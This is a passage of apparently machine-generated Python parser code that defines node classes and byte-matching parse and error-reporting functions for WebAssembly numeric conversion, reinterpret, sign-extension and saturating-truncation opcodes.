(_status): break id = _result _result = i64_trunc_f64_s() _result._metadata.position_info = (start_pos206, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1620(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_trunc_f64_s' rule, at the expression:\n" ' 0xb0\n\n' 'Expected to match the byte value 0xb0' ) raise ParseError((title + details), _pos, line, col) class i64_trunc_f64_u(Node): """ class i64_trunc_f64_u { let id: 0xb1 } """ _fields = () id = 0xb1 def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_trunc_f64_u()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_trunc_f64_u, fullparse) def _try_i64_trunc_f64_u(_text, _pos): # Begin Seq start_pos207 = _pos while True: # Begin Byte # 0xb1 if (_pos < len(_text)) and (_text[_pos] == 177): _result = 177 _pos = (_pos + 1) _status = True else: _result = _raise_error1624 _status = False # End Byte if not (_status): break id = _result _result = i64_trunc_f64_u() _result._metadata.position_info = (start_pos207, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1624(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_trunc_f64_u' rule, at the expression:\n" ' 0xb1\n\n' 'Expected to match the byte value 0xb1' ) raise ParseError((title + details), _pos, line, col) class f32_convert_i32_s(Node): """ class f32_convert_i32_s { let id: 0xb2 } """ _fields = () id = 0xb2 def __init__(self): Node.__init__(self) def __repr__(self): return f'f32_convert_i32_s()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f32_convert_i32_s, fullparse) def _try_f32_convert_i32_s(_text, _pos): # Begin Seq start_pos208 = _pos while True: # Begin Byte # 0xb2 if (_pos < len(_text)) and (_text[_pos] == 178): _result = 178 _pos = (_pos + 1) _status = True else: _result = _raise_error1628 _status = False # End Byte if not (_status): break id = _result _result = f32_convert_i32_s() _result._metadata.position_info = (start_pos208, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1628(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f32_convert_i32_s' rule, at the expression:\n" ' 0xb2\n\n' 'Expected to match the byte value 0xb2' ) raise ParseError((title + details), _pos, line, col) class f32_convert_i32_u(Node): """ class f32_convert_i32_u { let id: 0xb3 } """ _fields = () id = 0xb3 def __init__(self): Node.__init__(self) def __repr__(self): return f'f32_convert_i32_u()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f32_convert_i32_u, fullparse) def _try_f32_convert_i32_u(_text, _pos): # Begin Seq start_pos209 = _pos while True: # Begin Byte # 0xb3 if (_pos < len(_text)) and (_text[_pos] == 179): _result = 179 _pos = (_pos + 1) _status = True else: _result = _raise_error1632 _status = False # End Byte if not (_status): break id = _result _result = f32_convert_i32_u() _result._metadata.position_info = (start_pos209, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1632(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f32_convert_i32_u' rule, at the expression:\n" ' 0xb3\n\n' 'Expected to match the byte value 0xb3' ) raise ParseError((title + details), _pos, line, col) class f32_convert_i64_s(Node): """ class f32_convert_i64_s { let id: 0xb4 } """ _fields = () id = 0xb4 def __init__(self): Node.__init__(self) def __repr__(self): return f'f32_convert_i64_s()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f32_convert_i64_s, fullparse) def _try_f32_convert_i64_s(_text, _pos): # Begin Seq start_pos210 = _pos while True: # Begin Byte # 0xb4 if (_pos < len(_text)) and (_text[_pos] == 180): _result = 180 _pos = (_pos + 1) _status = True else: _result = _raise_error1636 _status = False # End Byte if not (_status): break id = _result _result = f32_convert_i64_s() _result._metadata.position_info = (start_pos210, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1636(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f32_convert_i64_s' rule, at the expression:\n" ' 0xb4\n\n' 'Expected to match the byte value 0xb4' ) raise ParseError((title + details), _pos, line, col) class f32_convert_i64_u(Node): """ class f32_convert_i64_u { let id: 0xb5 } """ _fields = () id = 0xb5 def __init__(self): Node.__init__(self) def __repr__(self): return f'f32_convert_i64_u()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f32_convert_i64_u, fullparse) def _try_f32_convert_i64_u(_text, _pos): # Begin Seq start_pos211 = _pos while True: # Begin Byte # 0xb5 if (_pos < len(_text)) and (_text[_pos] == 181): _result = 181 _pos = (_pos + 1) _status = True else: _result = _raise_error1640 _status = False # End Byte if not (_status): break id = _result _result = f32_convert_i64_u() _result._metadata.position_info = (start_pos211, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1640(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f32_convert_i64_u' rule, at the expression:\n" ' 0xb5\n\n' 'Expected to match the byte value 0xb5' ) raise ParseError((title + details), _pos, line, col) class f32_demote_f64(Node): """ class f32_demote_f64 { let id: 0xb6 } """ _fields = () id = 0xb6 def __init__(self): Node.__init__(self) def __repr__(self): return f'f32_demote_f64()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f32_demote_f64, fullparse) def _try_f32_demote_f64(_text, _pos): # Begin Seq start_pos212 = _pos while True: # Begin Byte # 0xb6 if (_pos < len(_text)) and (_text[_pos] == 182): _result = 182 _pos = (_pos + 1) _status = True else: _result = _raise_error1644 _status = False # End Byte if not (_status): break id = _result _result = f32_demote_f64() _result._metadata.position_info = (start_pos212, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1644(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f32_demote_f64' rule, at the expression:\n" ' 0xb6\n\n' 'Expected to match the byte value 0xb6' ) raise ParseError((title + details), _pos, line, col) class f64_convert_i32_s(Node): """ class f64_convert_i32_s { let id: 0xb7 } """ _fields = () id = 0xb7 def __init__(self): Node.__init__(self) def __repr__(self): return f'f64_convert_i32_s()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f64_convert_i32_s, fullparse) def _try_f64_convert_i32_s(_text, _pos): # Begin Seq start_pos213 = _pos while True: # Begin Byte # 0xb7 if (_pos < len(_text)) and (_text[_pos] == 183): _result = 183 _pos = (_pos + 1) _status = True else: _result = _raise_error1648 _status = False # End Byte if not (_status): break id = _result _result = f64_convert_i32_s() _result._metadata.position_info = (start_pos213, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1648(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f64_convert_i32_s' rule, at the expression:\n" ' 0xb7\n\n' 'Expected to match the byte value 0xb7' ) raise ParseError((title + details), _pos, line, col) class f64_convert_i32_u(Node): """ class f64_convert_i32_u { let id: 0xb8 } """ _fields = () id = 0xb8 def __init__(self): Node.__init__(self) def __repr__(self): return f'f64_convert_i32_u()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f64_convert_i32_u, fullparse) def _try_f64_convert_i32_u(_text, _pos): # Begin Seq start_pos214 = _pos while True: # Begin Byte # 0xb8 if (_pos < len(_text)) and (_text[_pos] == 184): _result = 184 _pos = (_pos + 1) _status = True else: _result = _raise_error1652 _status = False # End Byte if not (_status): break id = _result _result = f64_convert_i32_u() _result._metadata.position_info = (start_pos214, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1652(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f64_convert_i32_u' rule, at the expression:\n" ' 0xb8\n\n' 'Expected to match the byte value 0xb8' ) raise ParseError((title + details), _pos, line, col) class f64_convert_i64_s(Node): """ class f64_convert_i64_s { let id: 0xb9 } """ _fields = () id = 0xb9 def __init__(self): Node.__init__(self) def __repr__(self): return f'f64_convert_i64_s()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f64_convert_i64_s, fullparse) def _try_f64_convert_i64_s(_text, _pos): # Begin Seq start_pos215 = _pos while True: # Begin Byte # 0xb9 if (_pos < len(_text)) and (_text[_pos] == 185): _result = 185 _pos = (_pos + 1) _status = True else: _result = _raise_error1656 _status = False # End Byte if not (_status): break id = _result _result = f64_convert_i64_s() _result._metadata.position_info = (start_pos215, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1656(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f64_convert_i64_s' rule, at the expression:\n" ' 0xb9\n\n' 'Expected to match the byte value 0xb9' ) raise ParseError((title + details), _pos, line, col) class f64_convert_i64_u(Node): """ class f64_convert_i64_u { let id: 0xba } """ _fields = () id = 0xba def __init__(self): Node.__init__(self) def __repr__(self): return f'f64_convert_i64_u()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f64_convert_i64_u, fullparse) def _try_f64_convert_i64_u(_text, _pos): # Begin Seq start_pos216 = _pos while True: # Begin Byte # 0xba if (_pos < len(_text)) and (_text[_pos] == 186): _result = 186 _pos = (_pos + 1) _status = True else: _result = _raise_error1660 _status = False # End Byte if not (_status): break id = _result _result = f64_convert_i64_u() _result._metadata.position_info = (start_pos216, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1660(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f64_convert_i64_u' rule, at the expression:\n" ' 0xba\n\n' 'Expected to match the byte value 0xba' ) raise ParseError((title + details), _pos, line, col) class f64_promote_f32(Node): """ class f64_promote_f32 { let id: 0xbb } """ _fields = () id = 0xbb def __init__(self): Node.__init__(self) def __repr__(self): return f'f64_promote_f32()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f64_promote_f32, fullparse) def _try_f64_promote_f32(_text, _pos): # Begin Seq start_pos217 = _pos while True: # Begin Byte # 0xbb if (_pos < len(_text)) and (_text[_pos] == 187): _result = 187 _pos = (_pos + 1) _status = True else: _result = _raise_error1664 _status = False # End Byte if not (_status): break id = _result _result = f64_promote_f32() _result._metadata.position_info = (start_pos217, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1664(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f64_promote_f32' rule, at the expression:\n" ' 0xbb\n\n' 'Expected to match the byte value 0xbb' ) raise ParseError((title + details), _pos, line, col) class i32_reinterpret_f32(Node): """ class i32_reinterpret_f32 { let id: 0xbc } """ _fields = () id = 0xbc def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_reinterpret_f32()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_reinterpret_f32, fullparse) def _try_i32_reinterpret_f32(_text, _pos): # Begin Seq start_pos218 = _pos while True: # Begin Byte # 0xbc if (_pos < len(_text)) and (_text[_pos] == 188): _result = 188 _pos = (_pos + 1) _status = True else: _result = _raise_error1668 _status = False # End Byte if not (_status): break id = _result _result = i32_reinterpret_f32() _result._metadata.position_info = (start_pos218, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1668(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_reinterpret_f32' rule, at the expression:\n" ' 0xbc\n\n' 'Expected to match the byte value 0xbc' ) raise ParseError((title + details), _pos, line, col) class i64_reinterpret_f64(Node): """ class i64_reinterpret_f64 { let id: 0xbd } """ _fields = () id = 0xbd def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_reinterpret_f64()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_reinterpret_f64, fullparse) def _try_i64_reinterpret_f64(_text, _pos): # Begin Seq start_pos219 = _pos while True: # Begin Byte # 0xbd if (_pos < len(_text)) and (_text[_pos] == 189): _result = 189 _pos = (_pos + 1) _status = True else: _result = _raise_error1672 _status = False # End Byte if not (_status): break id = _result _result = i64_reinterpret_f64() _result._metadata.position_info = (start_pos219, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1672(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_reinterpret_f64' rule, at the expression:\n" ' 0xbd\n\n' 'Expected to match the byte value 0xbd' ) raise ParseError((title + details), _pos, line, col) class f32_reinterpret_i32(Node): """ class f32_reinterpret_i32 { let id: 0xbe } """ _fields = () id = 0xbe def __init__(self): Node.__init__(self) def __repr__(self): return f'f32_reinterpret_i32()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f32_reinterpret_i32, fullparse) def _try_f32_reinterpret_i32(_text, _pos): # Begin Seq start_pos220 = _pos while True: # Begin Byte # 0xbe if (_pos < len(_text)) and (_text[_pos] == 190): _result = 190 _pos = (_pos + 1) _status = True else: _result = _raise_error1676 _status = False # End Byte if not (_status): break id = _result _result = f32_reinterpret_i32() _result._metadata.position_info = (start_pos220, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1676(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f32_reinterpret_i32' rule, at the expression:\n" ' 0xbe\n\n' 'Expected to match the byte value 0xbe' ) raise ParseError((title + details), _pos, line, col) class f64_reinterpret_i64(Node): """ class f64_reinterpret_i64 { let id: 0xbf } """ _fields = () id = 0xbf def __init__(self): Node.__init__(self) def __repr__(self): return f'f64_reinterpret_i64()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f64_reinterpret_i64, fullparse) def _try_f64_reinterpret_i64(_text, _pos): # Begin Seq start_pos221 = _pos while True: # Begin Byte # 0xbf if (_pos < len(_text)) and (_text[_pos] == 191): _result = 191 _pos = (_pos + 1) _status = True else: _result = _raise_error1680 _status = False # End Byte if not (_status): break id = _result _result = f64_reinterpret_i64() _result._metadata.position_info = (start_pos221, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1680(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f64_reinterpret_i64' rule, at the expression:\n" ' 0xbf\n\n' 'Expected to match the byte value 0xbf' ) raise ParseError((title + details), _pos, line, col) class i32_extend8_s(Node): """ class i32_extend8_s { let id: 0xc0 } """ _fields = () id = 0xc0 def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_extend8_s()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_extend8_s, fullparse) def _try_i32_extend8_s(_text, _pos): # Begin Seq start_pos222 = _pos while True: # Begin Byte # 0xc0 if (_pos < len(_text)) and (_text[_pos] == 192): _result = 192 _pos = (_pos + 1) _status = True else: _result = _raise_error1684 _status = False # End Byte if not (_status): break id = _result _result = i32_extend8_s() _result._metadata.position_info = (start_pos222, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1684(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_extend8_s' rule, at the expression:\n" ' 0xc0\n\n' 'Expected to match the byte value 0xc0' ) raise ParseError((title + details), _pos, line, col) class i32_extend16_s(Node): """ class i32_extend16_s { let id: 0xc1 } """ _fields = () id = 0xc1 def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_extend16_s()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_extend16_s, fullparse) def _try_i32_extend16_s(_text, _pos): # Begin Seq start_pos223 = _pos while True: # Begin Byte # 0xc1 if (_pos < len(_text)) and (_text[_pos] == 193): _result = 193 _pos = (_pos + 1) _status = True else: _result = _raise_error1688 _status = False # End Byte if not (_status): break id = _result _result = i32_extend16_s() _result._metadata.position_info = (start_pos223, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1688(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_extend16_s' rule, at the expression:\n" ' 0xc1\n\n' 'Expected to match the byte value 0xc1' ) raise ParseError((title + details), _pos, line, col) class i64_extend8_s(Node): """ class i64_extend8_s { let id: 0xc2 } """ _fields = () id = 0xc2 def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_extend8_s()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_extend8_s, fullparse) def _try_i64_extend8_s(_text, _pos): # Begin Seq start_pos224 = _pos while True: # Begin Byte # 0xc2 if (_pos < len(_text)) and (_text[_pos] == 194): _result = 194 _pos = (_pos + 1) _status = True else: _result = _raise_error1692 _status = False # End Byte if not (_status): break id = _result _result = i64_extend8_s() _result._metadata.position_info = (start_pos224, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1692(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_extend8_s' rule, at the expression:\n" ' 0xc2\n\n' 'Expected to match the byte value 0xc2' ) raise ParseError((title + details), _pos, line, col) class i64_extend16_s(Node): """ class i64_extend16_s { let id: 0xc3 } """ _fields = () id = 0xc3 def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_extend16_s()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_extend16_s, fullparse) def _try_i64_extend16_s(_text, _pos): # Begin Seq start_pos225 = _pos while True: # Begin Byte # 0xc3 if (_pos < len(_text)) and (_text[_pos] == 195): _result = 195 _pos = (_pos + 1) _status = True else: _result = _raise_error1696 _status = False # End Byte if not (_status): break id = _result _result = i64_extend16_s() _result._metadata.position_info = (start_pos225, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1696(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_extend16_s' rule, at the expression:\n" ' 0xc3\n\n' 'Expected to match the byte value 0xc3' ) raise ParseError((title + details), _pos, line, col) class i64_extend32_s(Node): """ class i64_extend32_s { let id: 0xc4 } """ _fields = () id = 0xc4 def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_extend32_s()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_extend32_s, fullparse) def _try_i64_extend32_s(_text, _pos): # Begin Seq start_pos226 = _pos while True: # Begin Byte # 0xc4 if (_pos < len(_text)) and (_text[_pos] == 196): _result = 196 _pos = (_pos + 1) _status = True else: _result = _raise_error1700 _status = False # End Byte if not (_status): break id = _result _result = i64_extend32_s() _result._metadata.position_info = (start_pos226, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1700(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_extend32_s' rule, at the expression:\n" ' 0xc4\n\n' 'Expected to match the byte value 0xc4' ) raise ParseError((title + details), _pos, line, col) class i32_trunc_sat_f32_s(Node): """ class i32_trunc_sat_f32_s { let id: 0xfc let code: 0x0 } """ _fields = () id = 0xfc code = 0x0 def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_trunc_sat_f32_s()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_trunc_sat_f32_s, fullparse) def _try_i32_trunc_sat_f32_s(_text, _pos): # Begin Seq start_pos227 = _pos while True: # Begin Byte # 0xfc if (_pos < len(_text)) and (_text[_pos] == 252): _result = 252 _pos = (_pos + 1) _status = True else: _result = _raise_error1704 _status = False # End Byte if not (_status): break id = _result # Begin Byte # 0x0 if (_pos < len(_text)) and (_text[_pos] == 0): _result = 0 _pos = (_pos + 1) _status = True else: _result = _raise_error1706 _status = False # End Byte if not (_status): break code = _result _result = i32_trunc_sat_f32_s() _result._metadata.position_info = (start_pos227, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1704(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_trunc_sat_f32_s' rule, at the expression:\n" ' 0xfc\n\n' 'Expected to match the byte value 0xfc' ) raise ParseError((title + details), _pos, line, col) def _raise_error1706(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_trunc_sat_f32_s' rule, at the expression:\n" ' 0x0\n\n' 'Expected to match the byte value 0x0' ) raise ParseError((title + details), _pos, line, col) class i32_trunc_sat_f32_u(Node): """ class i32_trunc_sat_f32_u { let id: 0xfc let code: 0x1 } """ _fields = () id = 0xfc code = 0x1 def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_trunc_sat_f32_u()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_trunc_sat_f32_u, fullparse) def _try_i32_trunc_sat_f32_u(_text, _pos): # Begin Seq start_pos228 = _pos while True: # Begin Byte # 0xfc if (_pos < len(_text)) and (_text[_pos] == 252): _result = 252 _pos = (_pos + 1) _status = True else: _result = _raise_error1710 _status = False # End Byte if not (_status): break id = _result # Begin Byte # 0x1 if (_pos < len(_text)) and (_text[_pos] == 1): _result = 1 _pos = (_pos + 1) _status = True else: _result = _raise_error1712 _status = False # End Byte if not (_status): break code = _result _result = i32_trunc_sat_f32_u() _result._metadata.position_info = (start_pos228, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1710(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_trunc_sat_f32_u' rule, at the expression:\n" ' 0xfc\n\n' 'Expected to match the byte value 0xfc' ) raise ParseError((title + details), _pos, line, col) def _raise_error1712(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_trunc_sat_f32_u' rule, at the expression:\n" ' 0x1\n\n' 'Expected to match the byte value 0x1' ) raise ParseError((title + details), _pos, line, col) class i32_trunc_sat_f64_s(Node): """ class i32_trunc_sat_f64_s { let id: 0xfc let code: 0x2 } """ _fields = () id = 0xfc code = 0x2 def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_trunc_sat_f64_s()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_trunc_sat_f64_s, fullparse) def _try_i32_trunc_sat_f64_s(_text, _pos): # Begin Seq start_pos229 = _pos while True: # Begin Byte # 0xfc if (_pos < len(_text)) and (_text[_pos] == 252): _result = 252 _pos = (_pos + 1) _status = True else: _result = _raise_error1716 _status = False # End Byte if not (_status): break id = _result # Begin Byte # 0x2 if (_pos < len(_text)) and (_text[_pos] == 2): _result = 2 _pos = (_pos + 1) _status = True else: _result = _raise_error1718 _status = False # End Byte if not (_status): break code = _result _result = i32_trunc_sat_f64_s() _result._metadata.position_info = (start_pos229, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1716(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_trunc_sat_f64_s' rule, at the expression:\n" ' 0xfc\n\n' 'Expected to match the byte value 0xfc' ) raise ParseError((title + details), _pos, line, col) def _raise_error1718(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_trunc_sat_f64_s' rule, at the expression:\n" ' 0x2\n\n' 'Expected to match the byte value 0x2' ) raise ParseError((title + details), _pos, line, col) class i32_trunc_sat_f64_u(Node): """ class i32_trunc_sat_f64_u { let id: 0xfc let code: 0x3 } """ _fields = () id = 0xfc code = 0x3 def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_trunc_sat_f64_u()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_trunc_sat_f64_u, fullparse) def _try_i32_trunc_sat_f64_u(_text, _pos): # Begin Seq start_pos230 = _pos while True: # Begin Byte # 0xfc if (_pos < len(_text)) and (_text[_pos] == 252): _result = 252 _pos = (_pos + 1) _status = True else: _result = _raise_error1722 _status = False # End Byte if not (_status): break id = _result # Begin Byte # 0x3 if (_pos < len(_text)) and (_text[_pos] == 3): _result = 3 _pos = (_pos + 1) _status = True else: _result = _raise_error1724 _status = False # End Byte if not (_status): break code = _result _result = i32_trunc_sat_f64_u() _result._metadata.position_info = (start_pos230, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1722(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_trunc_sat_f64_u' rule, at the expression:\n" ' 0xfc\n\n' 'Expected to match the byte value 0xfc' ) raise ParseError((title + details), _pos, line, col) def _raise_error1724(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_trunc_sat_f64_u' rule, at the expression:\n" ' 0x3\n\n' 'Expected to match the byte value 0x3' ) raise ParseError((title + details), _pos, line, col) class i64_trunc_sat_f32_s(Node): """ class i64_trunc_sat_f32_s { let id: 0xfc let code: 0x4 } """ _fields = () id = 0xfc code = 0x4 def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_trunc_sat_f32_s()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_trunc_sat_f32_s, fullparse) def _try_i64_trunc_sat_f32_s(_text, _pos): # Begin Seq start_pos231 = _pos while True: # Begin Byte # 0xfc if (_pos < len(_text)) and (_text[_pos] == 252): _result = 252 _pos = (_pos + 1) _status = True else: _result = _raise_error1728 _status = False # End Byte if not (_status): break id = _result # Begin 